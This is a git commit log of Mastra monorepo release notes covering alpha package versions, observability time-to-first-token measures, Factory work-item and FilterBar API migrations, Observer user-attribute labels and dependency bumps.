
## @mastra/mcp@2.8.0-alpha.1


## @mastra/mcp-docs-server@1.3.12-alpha.3


## @mastra/memory@1.41.0-alpha.2


## @mastra/playground-ui@68.0.0-alpha.2


## @mastra/rag@2.7.2-alpha.0


## @mastra/elysia@0.1.22-alpha.2


## @mastra/express@1.5.26-alpha.2


## @mastra/fastify@1.5.26-alpha.2


## @mastra/hono@1.7.24-alpha.2


## @mastra/koa@1.7.26-alpha.2


## @mastra/nestjs@0.2.41-alpha.2


## @mastra/next@0.2.40-alpha.2


## @mastra/tanstack-start@0.2.40-alpha.2


## @mastra/dsql@1.5.6-alpha.0


## @mastra/libsql@1.29.0-alpha.1


## @mastra/mongodb@1.26.0-alpha.1


## @mastra/mssql@1.11.1-alpha.0


## @mastra/mysql@0.16.0-alpha.2


## @mastra/oracledb@0.5.6-alpha.0


## @mastra/spanner@1.11.1-alpha.0


## @mastra/turso@0.1.20-alpha.1


## @mastra/voice-google@0.14.5-alpha.0


## @mastra/inngest@1.11.1-alpha.1


## @mastra/temporal@0.5.0-alpha.2


## @mastra/e2b@0.16.1-alpha.1


## create-mastra@1.38.0-alpha.2


## @internal/playground@1.38.0-alpha.2

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-02 20:29:47 -07:00
Daniel Lew
642c62fee3
feat(core,server,client-js): answer a suspended background task from a chat (#28998)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-02 14:54:42 -05:00
mastra-platform[bot]
ea8fefcd83
fix(memory): close the observations block in Observational Memory context (#29224) 2026-11-02 11:44:05 -08:00
dane-ai-mastra[bot]
30046969ad
chore: version packages (alpha) (#29146)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases
## @mastra/client-js@1.59.0-alpha.1

### Minor Changes

- Added the `aggregateTimeToFirstMeasures` observability capability.
Trace and span aggregate requests for `timeToFirstToken.*` or
`timeToFirstChunk.*` measures now return `501` against stores that can't
compute them, and field discovery omits those measures for such stores.
([#29055](https://github.com/mastra-ai/mastra/pull/29055))

  ```typescript
const { capabilities } = await
mastraClient.getObservabilityCapabilities();

if (capabilities.traceAggregate &&
capabilities.aggregateTimeToFirstMeasures) {
    const { rows } = await mastraClient.aggregateTraces({
timeRange: { from: '2026-08-01T00:00:00.000Z', to:
'2026-08-02T00:00:00.000Z' },
      groupBy: ['entityName'],
      measures: ['timeToFirstChunk.p95', 'timeToFirstChunk.count'],
    });
  }
  ```

### Patch Changes

- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
## @mastra/factory@0.27.0-alpha.1

### Minor Changes

- The same Jira, Linear or incident.io item can now be filed in more
than one Factory project. Before, the first project to file an item held
it for the whole org, and other projects that ingested it got no card.
Each project now keeps its own card. Within a project the card is still
reused when the item is seen again, after the card finishes and when the
issue reopens. A Linear card is also found after the issue's identifier
changes, for example when the issue moves to another team.
([#29059](https://github.com/mastra-ai/mastra/pull/29059))

When intake routing sends an item to a different project, the new
project files its own card and the previous project's card stays where
it is.

  **Breaking changes**

- `claimKey` is removed from the `upsertLinkedWorkItem` decision type.
Rules that still return it, and decisions saved before this release,
keep working: the field is accepted and ignored.
- `WorkItemClaimConflictError`, `getByClaimKey`, `claimWorkItem`,
`releaseProjectClaims` and `WorkItemRow.claimKey` are removed.

  Drop `claimKey` from linked-item decisions your rules return:

  ```ts
  // Before
  return {
    type: 'upsertLinkedWorkItem',
    source: 'jira-issue',
    sourceKey: issue.id,
    claimKey: `jira:issue:${issue.id}` /* … */,
  };

  // After
return { type: 'upsertLinkedWorkItem', source: 'jira-issue', sourceKey:
issue.id /* … */ };
  ```

Remove calls to `getByClaimKey`, `claimWorkItem` and
`releaseProjectClaims`. To find a project's card for an item, use
`getByProjectSource`.

The `claim_key` column stays in the database. Values already stored
there are left in place and no longer affect anything.

### Patch Changes

- Fixed shell commands that exit with a failure code reading as
successful in the Factory transcript. The command now reads as failed
while the run streams, after a dropped stream reconnects, and after a
reload. Stopping a process with `kill_process` still reads as a success.
([#28963](https://github.com/mastra-ai/mastra/pull/28963))

A system reminder that loads project instructions (`AGENTS.md`,
`CLAUDE.md` or `CONTEXT.md`) now reads "Project instructions" and names
the file by its path in the working directory, such as
`packages/core/AGENTS.md`, instead of a bare "System reminder".

- A board tool rule that moves a work item back into its current stage
with `reenter: true` now runs that stage's entry rules, as documented.
Previously the entry rules were skipped, so no new agent run started.
([#29104](https://github.com/mastra-ai/mastra/pull/29104))

- Updated dependencies
[[`5735a50`](5735a50c6c),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/platform-workspace@1.11.1-alpha.0
  - @mastra/core@1.82.0-alpha.1
  - @mastra/code-sdk@1.18.0-alpha.1
## @mastra/core@1.82.0-alpha.1

### Minor Changes

- Added time to first token and time to first chunk measures to trace
and span aggregates, so dashboards can chart streaming latency next to
duration. ([#29055](https://github.com/mastra-ai/mastra/pull/29055))

The new measures are `timeToFirstToken.avg`, `.min`, `.max`, `.p50`,
`.p90`, `.p95`, `.p99`, and `.count`, plus the same set for
`timeToFirstChunk`. Traces and spans without a recorded value are
skipped instead of counted as 0, and `.count` reports how many had one.
Stores opt in through the `aggregate-time-to-first-measures` feature.

### Patch Changes

- Fixed durable agents (`durable: true`) ending the `model_generation`
trace span without `responseId` and `responseModel`. Durable runs now
record the provider's response id and model on the span, the same as
non-durable agents, so a trace can be linked back to the provider's own
response log. Fixes #29053.
([#29180](https://github.com/mastra-ai/mastra/pull/29180))

- Fixed metadata filters in the in-memory store returning records whose
nested metadata had different keys from the filter when one side
contained an `undefined` value.
([#29101](https://github.com/mastra-ai/mastra/pull/29101))

- Fixed directly resumed nested workflows in the evented engine so they
continue suspended parent runs.
([#25979](https://github.com/mastra-ai/mastra/pull/25979))
## @mastra/playground-ui@68.0.0-alpha.1

### Minor Changes

- Toolbar and filter bar controls now share one look: the same paddings,
icon gaps, chevron and spacing between controls.
([#28818](https://github.com/mastra-ai/mastra/pull/28818))

**Time range.** A filter bar's time range is now the
`DateTimeRangePicker` itself, so it looks and behaves the same on every
page: a calendar icon, the range and a chevron, with no separate "Time"
label. Pass `defaultPreset` to show a × that resets a custom range; it
replaces the chevron while a custom range is applied.

Added `FilterBar.TimeRange` with `FILTER_BAR_TIME_RANGE_FIELD`,
`FILTER_BAR_TIME_RANGE_ITEM` and `FILTER_BAR_TIME_RANGE_FIELD_ID`. They
replace `TraceTimeRangeChip` and the `TRACE_TIME_RANGE_*` names from
`domains/traces/components/trace-time-range-chip`, which are removed.

  ```tsx
  import {
    FilterBar,
    FILTER_BAR_TIME_RANGE_FIELD,
    FILTER_BAR_TIME_RANGE_FIELD_ID,
    FILTER_BAR_TIME_RANGE_ITEM,
  } from '@mastra/playground-ui/components/FilterBar';

  <FilterBar
    fields={[FILTER_BAR_TIME_RANGE_FIELD, ...fields]}
    operators={operators}
    value={[FILTER_BAR_TIME_RANGE_ITEM, ...items]}
// The time range item is synthetic: keep it out of the stored filters.
onValueChange={next => setItems(next.filter(item => item.fieldId !==
FILTER_BAR_TIME_RANGE_FIELD_ID))}
  >
    <FilterBar.Chips
      renderChip={item =>
        item.fieldId === FILTER_BAR_TIME_RANGE_FIELD_ID ? (
          <FilterBar.TimeRange
            preset={preset}
// A preset, including the × reset, drops the applied custom dates.
            onPresetChange={next => {
              setPreset(next);
              if (next !== 'custom') setRange({});
            }}
            dateFrom={range.from}
            dateTo={range.to}
            onDateRangeChange={(from, to) => setRange({ from, to })}
            defaultPreset="last-7d"
          />
        ) : (
          <FilterBar.Chip item={item} />
        )
      }
    />
    <FilterBar.Input />
  </FilterBar>;
  ```

`DateTimeRangePicker` gains `size`, `defaultPreset` and `ref` (the
trigger button).

  **Migrating removed APIs.**

- `TraceTimeRangeChip` → `FilterBar.TimeRange` (same props), and
`TRACE_TIME_RANGE_FIELD` / `_ITEM` / `_FIELD_ID` →
`FILTER_BAR_TIME_RANGE_FIELD` / `_ITEM` / `_FIELD_ID`, imported from
`@mastra/playground-ui/components/FilterBar`.

    ```tsx
    // Before
import { TraceTimeRangeChip, TRACE_TIME_RANGE_FIELD_ID } from
'@mastra/playground-ui/domains/traces/components/trace-time-range-chip';
item.fieldId === TRACE_TIME_RANGE_FIELD_ID ? <TraceTimeRangeChip
preset={preset} onPresetChange={setPreset} /> : …

    // After
import { FilterBar, FILTER_BAR_TIME_RANGE_FIELD_ID } from
'@mastra/playground-ui/components/FilterBar';
item.fieldId === FILTER_BAR_TIME_RANGE_FIELD_ID ? <FilterBar.TimeRange
preset={preset} onPresetChange={setPreset} /> : …
    ```

- `DateTimeRangePicker`'s `renderTrigger` → remove it: the trigger is
always the shared calendar button. Pass `size` for another rung and
`ref` to reach the trigger.
- `comboboxStyles.chevron` on a hand-built trigger → `<ButtonChevron
size={size} />` from `@mastra/playground-ui/components/Button`.

  **Other controls.**

- Added `ClearFiltersButton`, a round reset icon button with a tooltip,
used for every toolbar's "clear filters".
- Added `TriggerChevron` and `ButtonChevron`, the one chevron every
dropdown trigger (`Select`, `Combobox`, the date picker) shows.
  - `ComboboxTrigger` uses that chevron instead of the up-down one.
- Icons in every interactive control (buttons, fields, search inputs,
filter chips, menu and command rows) follow one rule: muted at rest,
brighter on hover. Two new theme tokens, `--control-icon-rest` and
`--control-icon-hover`, set those colours; menus retune them, and
icon-only controls always brighten. Search fields and combobox fields
now brighten their icons on hover like buttons do.
- Icons take their size from the control they sit in, as in a Button:
filter chips and search inputs no longer size their own icons.
- `ListSearch` defaults to the `sm` toolbar size, and `SearchInput`'s
icon sits at the same inset as a button's.
  - `ActionRow` and `FilterBar` space their controls 6px apart.

### Patch Changes

- Updated dependencies
[[`489d829`](489d8295c8),
[`0900c20`](0900c20592),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`e1e64f0`](e1e64f072c),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/memory@1.41.0-alpha.1
  - @mastra/client-js@1.59.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
  - @mastra/ai-sdk@1.11.3
  - @mastra/react@1.14.1-alpha.1
## @mastra/server@1.82.0-alpha.1

### Minor Changes

- Added the `aggregateTimeToFirstMeasures` observability capability.
Trace and span aggregate requests for `timeToFirstToken.*` or
`timeToFirstChunk.*` measures now return `501` against stores that can't
compute them, and field discovery omits those measures for such stores.
([#29055](https://github.com/mastra-ai/mastra/pull/29055))

  ```typescript
const { capabilities } = await
mastraClient.getObservabilityCapabilities();

if (capabilities.traceAggregate &&
capabilities.aggregateTimeToFirstMeasures) {
    const { rows } = await mastraClient.aggregateTraces({
timeRange: { from: '2026-08-01T00:00:00.000Z', to:
'2026-08-02T00:00:00.000Z' },
      groupBy: ['entityName'],
      measures: ['timeToFirstChunk.p95', 'timeToFirstChunk.count'],
    });
  }
  ```

### Patch Changes

- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
## @mastra/clickhouse@1.29.0-alpha.0

### Minor Changes

- Added support for `timeToFirstToken.*` and `timeToFirstChunk.*`
measures in trace and span aggregates. Rows without a recorded value are
skipped, never counted as 0.
([#29055](https://github.com/mastra-ai/mastra/pull/29055))

  ```typescript
  import { planSpanAggregate } from '@mastra/core/storage';

  const observability = await storage.getStore('observability');

if
(observability?.getFeatures().includes('aggregate-time-to-first-measures'))
{
    const { rows } = await observability.aggregateSpans(
      planSpanAggregate({
timeRange: { from: '2026-08-01T00:00:00.000Z', to:
'2026-08-02T00:00:00.000Z' },
where: { op: 'eq', left: { path: 'spanType' }, right: { literal:
'model_inference' } },
        measures: ['timeToFirstToken.p50', 'timeToFirstToken.p95'],
      }),
    );
  }
  ```

### Patch Changes

- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
## @mastra/duckdb@1.18.0-alpha.0

### Minor Changes

- Added support for `timeToFirstToken.*` and `timeToFirstChunk.*`
measures in trace and span aggregates. Rows without a recorded value are
skipped, never counted as 0.
([#29055](https://github.com/mastra-ai/mastra/pull/29055))

  ```typescript
  import { planSpanAggregate } from '@mastra/core/storage';

  const observability = await storage.getStore('observability');

if
(observability?.getFeatures().includes('aggregate-time-to-first-measures'))
{
    const { rows } = await observability.aggregateSpans(
      planSpanAggregate({
timeRange: { from: '2026-08-01T00:00:00.000Z', to:
'2026-08-02T00:00:00.000Z' },
where: { op: 'eq', left: { path: 'spanType' }, right: { literal:
'model_inference' } },
        measures: ['timeToFirstToken.p50', 'timeToFirstToken.p95'],
      }),
    );
  }
  ```

### Patch Changes

- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
## @mastra/pg@1.35.0-alpha.1

### Minor Changes

- Added support for `timeToFirstToken.*` and `timeToFirstChunk.*`
measures in trace and span aggregates. Rows without a recorded value are
skipped, never counted as 0.
([#29055](https://github.com/mastra-ai/mastra/pull/29055))

  ```typescript
  import { planSpanAggregate } from '@mastra/core/storage';

  const observability = await storage.getStore('observability');

if
(observability?.getFeatures().includes('aggregate-time-to-first-measures'))
{
    const { rows } = await observability.aggregateSpans(
      planSpanAggregate({
timeRange: { from: '2026-08-01T00:00:00.000Z', to:
'2026-08-02T00:00:00.000Z' },
where: { op: 'eq', left: { path: 'spanType' }, right: { literal:
'model_inference' } },
        measures: ['timeToFirstToken.p50', 'timeToFirstToken.p95'],
      }),
    );
  }
  ```

### Patch Changes

- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
## @mastra/react@1.14.1-alpha.1

### Patch Changes

- Updated dependencies
[[`0900c20`](0900c20592),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/client-js@1.59.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
## @mastra/deployer-cloud@1.82.0-alpha.1

### Patch Changes

- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
  - @mastra/deployer@1.82.0-alpha.1
## @mastra/longmemeval@1.1.41-alpha.1

### Patch Changes

- Updated dependencies
[[`489d829`](489d8295c8),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`e1e64f0`](e1e64f072c),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/memory@1.41.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
  - @mastra/libsql@1.29.0-alpha.0
## @mastra/opencode@0.1.41-alpha.1

### Patch Changes

- Updated dependencies
[[`489d829`](489d8295c8),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`e1e64f0`](e1e64f072c),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/memory@1.41.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
  - @mastra/libsql@1.29.0-alpha.0
## create-factory@0.4.2-alpha.1

### Patch Changes

- Updated dependencies:
  - mastra@1.38.0-alpha.1
## @mastra/code-sdk@1.18.0-alpha.1

### Patch Changes

- Updated dependencies
[[`489d829`](489d8295c8),
[`0900c20`](0900c20592),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`e1e64f0`](e1e64f072c),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/memory@1.41.0-alpha.1
  - @mastra/client-js@1.59.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
  - @mastra/pg@1.35.0-alpha.1
  - @mastra/duckdb@1.18.0-alpha.0
  - @mastra/libsql@1.29.0-alpha.0
## mastracode@0.49.0-alpha.1

### Patch Changes

- Updated dependencies
[[`489d829`](489d8295c8),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`e1e64f0`](e1e64f072c),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/memory@1.41.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
  - @mastra/pg@1.35.0-alpha.1
  - @mastra/duckdb@1.18.0-alpha.0
  - @mastra/code-sdk@1.18.0-alpha.1
  - @mastra/libsql@1.29.0-alpha.0
## @mastra/sentry@1.2.31-alpha.1

### Patch Changes

- dependencies updates:
([#29123](https://github.com/mastra-ai/mastra/pull/29123))
- Updated dependency [`@sentry/node@^11.10.0`
↗︎](https://www.npmjs.com/package/@sentry/node/v/11.10.0) (from
`^10.76.2`, in `dependencies`)
- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
## @mastra/agent-builder@1.1.33-alpha.1

### Patch Changes

- Updated dependencies
[[`489d829`](489d8295c8),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`e1e64f0`](e1e64f072c),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/memory@1.41.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
## mastra@1.38.0-alpha.1

### Patch Changes

- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
  - @mastra/deployer@1.82.0-alpha.1
## @mastra/deployer@1.82.0-alpha.1

### Patch Changes

- Updated dependencies
[[`0900c20`](0900c20592),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/server@1.82.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
## @mastra/editor@0.16.7-alpha.1

### Patch Changes

- Updated dependencies
[[`489d829`](489d8295c8),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`e1e64f0`](e1e64f072c),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/memory@1.41.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
## @mastra/mcp-docs-server@1.3.12-alpha.2

### Patch Changes

- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
## @mastra/memory@1.41.0-alpha.1

### Patch Changes

- dependencies updates:
([#29124](https://github.com/mastra-ai/mastra/pull/29124))
- Updated dependency [`diff@^9.0.0`
↗︎](https://www.npmjs.com/package/diff/v/9.0.0) (from `^8.0.4`, in
`dependencies`)

- Observational Memory now tells the Observer who sent each user signal.
In a thread shared by several people, messages sent with
`agent.sendMessage({ contents, attributes: { name: 'Alice' } }, ...)`
are labeled `User (name="Alice")` when observed, so observations can say
who said what instead of attributing everything to "User". Messages
without attributes keep the plain `User` label.
([#29176](https://github.com/mastra-ai/mastra/pull/29176))

- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
## @mastra/google-cloud-pubsub@1.1.7-alpha.0

### Patch Changes

- dependencies updates:
([#29113](https://github.com/mastra-ai/mastra/pull/29113))
- Updated dependency [`@google-cloud/pubsub@^6.3.1`
↗︎](https://www.npmjs.com/package/@google-cloud/pubsub/v/6.3.1) (from
`^5.3.1`, in `dependencies`)
- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
## @mastra/elysia@0.1.22-alpha.1

### Patch Changes

- Updated dependencies
[[`0900c20`](0900c20592),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/server@1.82.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
## @mastra/express@1.5.26-alpha.1

### Patch Changes

- Updated dependencies
[[`0900c20`](0900c20592),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/server@1.82.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
## @mastra/fastify@1.5.26-alpha.1

### Patch Changes

- Updated dependencies
[[`0900c20`](0900c20592),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/server@1.82.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
## @mastra/hono@1.7.24-alpha.1

### Patch Changes

- Updated dependencies
[[`0900c20`](0900c20592),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/server@1.82.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
## @mastra/koa@1.7.26-alpha.1

### Patch Changes

- Updated dependencies
[[`0900c20`](0900c20592),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/server@1.82.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
## @mastra/nestjs@0.2.41-alpha.1

### Patch Changes

- Updated dependencies
[[`0900c20`](0900c20592),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/server@1.82.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
## @mastra/next@0.2.40-alpha.1

### Patch Changes

- Updated dependencies
[[`0900c20`](0900c20592),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/server@1.82.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
  - @mastra/hono@1.7.24-alpha.1
## @mastra/tanstack-start@0.2.40-alpha.1

### Patch Changes

- Updated dependencies
[[`0900c20`](0900c20592),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/server@1.82.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
  - @mastra/hono@1.7.24-alpha.1
## @mastra/mysql@0.16.0-alpha.1

### Patch Changes

- Fixed experiment result writes putting plaintext back over a purged
dataset item. When a purge committed while a result was being written,
the writer could miss the purge marker and overwrite the redacted input,
output, ground truth, error and metadata.
([#29106](https://github.com/mastra-ai/mastra/pull/29106))

- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
## @mastra/inngest@1.11.1-alpha.0

### Patch Changes

- Fixed `InngestRun.watch()` crashing the process with an unhandled
rejection when the Inngest realtime subscription fails to connect (for
example `fetch failed` or a WebSocket error). The failure is now logged
as a warning and the run still completes through polling. Unwatching now
also closes the realtime connection instead of leaving it open.
([#29103](https://github.com/mastra-ai/mastra/pull/29103))

- Fixed Inngest durable agents ending the `model_generation` trace span
without `responseId` and `responseModel`. The span now carries the
provider's response id and model, the same as non-durable agents. Fixes
#29053. ([#29180](https://github.com/mastra-ai/mastra/pull/29180))

- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
## @mastra/temporal@0.5.0-alpha.1

### Patch Changes

- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
  - @mastra/deployer@1.82.0-alpha.1
## @mastra/e2b@0.16.1-alpha.0

### Patch Changes

- dependencies updates:
([#27993](https://github.com/mastra-ai/mastra/pull/27993))
- Updated dependency [`e2b@^2.62.0`
↗︎](https://www.npmjs.com/package/e2b/v/2.62.0) (from `^2.61.0`, in
`dependencies`)
- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
## @mastra/e2b-desktop@0.1.12-alpha.0

### Patch Changes

- dependencies updates:
([#27993](https://github.com/mastra-ai/mastra/pull/27993))
- Updated dependency [`e2b@^2.62.0`
↗︎](https://www.npmjs.com/package/e2b/v/2.62.0) (from `^2.61.0`, in
`dependencies`)
- Updated dependencies
[[`5735a50`](5735a50c6c),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/e2b@0.16.1-alpha.0
  - @mastra/core@1.82.0-alpha.1
## @mastra/platform-workspace@1.11.1-alpha.0

### Patch Changes

- dependencies updates:
([#27993](https://github.com/mastra-ai/mastra/pull/27993))
- Updated dependency [`e2b@^2.62.0`
↗︎](https://www.npmjs.com/package/e2b/v/2.62.0) (from `^2.61.0`, in
`dependencies`)
- Updated dependencies
[[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/core@1.82.0-alpha.1
## create-mastra@1.38.0-alpha.1


## @internal/playground@1.38.0-alpha.1

### Patch Changes

- Updated dependencies
[[`0900c20`](0900c20592),
[`8751dd7`](8751dd7f56),
[`682e8f3`](682e8f3e44),
[`3314289`](33142896c1),
[`0900c20`](0900c20592),
[`ebf8a9a`](ebf8a9a137)]:
  - @mastra/client-js@1.59.0-alpha.1
  - @mastra/core@1.82.0-alpha.1
  - @mastra/playground-ui@68.0.0-alpha.1
  - @mastra/react@1.14.1-alpha.1

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-02 16:03:13 +01:00
Tyler Barnes
e1e64f072c
fix(memory): keep user signal attributes in Observer labels (#29176)
## Description

In a thread several people write to, Observational Memory's Observer saw
every user message as plain `User`, so observations could not say who
said what. User signals carry attributes (for example `attributes: {
name: 'Jim' }` passed to `agent.sendMessage`), and those were dropped
when the Observer's transcript was built.

The Observer now labels user signals with their attributes, e.g. `User
(name="Jim")`. Messages without attributes keep the plain `User` label.

Attribute handling is deliberately bounded so a value cannot break or
inject lines into the transcript: keys must be identifier-like, values
must be strings, numbers or booleans, keys are sorted, at most 8
attributes are shown, values are capped at 80 characters, and values are
JSON-quoted.

Changed:
`packages/memory/src/processors/observational-memory/observer-agent.ts`
(label formatting), with tests and a patch changeset for
`@mastra/memory`.

## Test plan

Regression tests in `observer-agent.test.ts` (labels each signal with
its attributes; quotes and bounds values; keeps plain `User` with no
usable attributes).

- Without the fix (`observer-agent.ts` from `origin/main`): 2 failed, 25
passed.
- With the fix: 27 passed.
- Observational Memory suite: 89 files, 2007 passed, 1 todo.
- `tsc --noEmit` exit 0; oxlint 0 warnings, 0 errors.

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-01 22:25:12 -07:00
Dane - AI (Mastra)
489d8295c8
chore(deps): update dependency diff to v9 (#29124)
Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
2026-11-01 08:43:29 -08:00